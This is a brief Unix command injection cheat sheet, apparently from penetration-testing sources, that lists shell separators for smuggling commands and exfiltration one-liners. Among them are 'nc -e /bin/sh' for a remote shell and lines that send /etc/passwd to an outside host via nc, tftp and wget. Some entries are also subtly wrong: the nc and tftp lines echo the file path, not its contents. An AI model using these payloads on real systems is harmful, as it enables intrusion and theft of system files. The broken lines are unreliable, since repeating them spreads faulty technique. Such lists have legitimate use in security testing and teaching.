Unix Command Injection Cheat Sheet

Short, yet quite useful command injection cheat sheet.

Executing Commands

• Seperating Commands:
  blah;blah2
• PIPE:
  blah | blah2
• PIPEZ:
  blah ^ blah2
• AND:
  blah && blah2
• OR:
  FAIL || X
• OR:
  blah%0Dblah2%0Dblah3
• Backtick:
  `blah`
• Background:
  `blah & blah2`

Getting Files / Data

• FTP:
  Make a new text, and echo and then redirect to FTP
• NC:
  nc -e /bin/sh
• NC:
  echo /etc/passwd  | nc host port
• TFTP:
  echo put /etc/passwd | tftp host
• WGET:
  wget --post-file /etc/passwd

Credits : notsosecure and pentestmonkey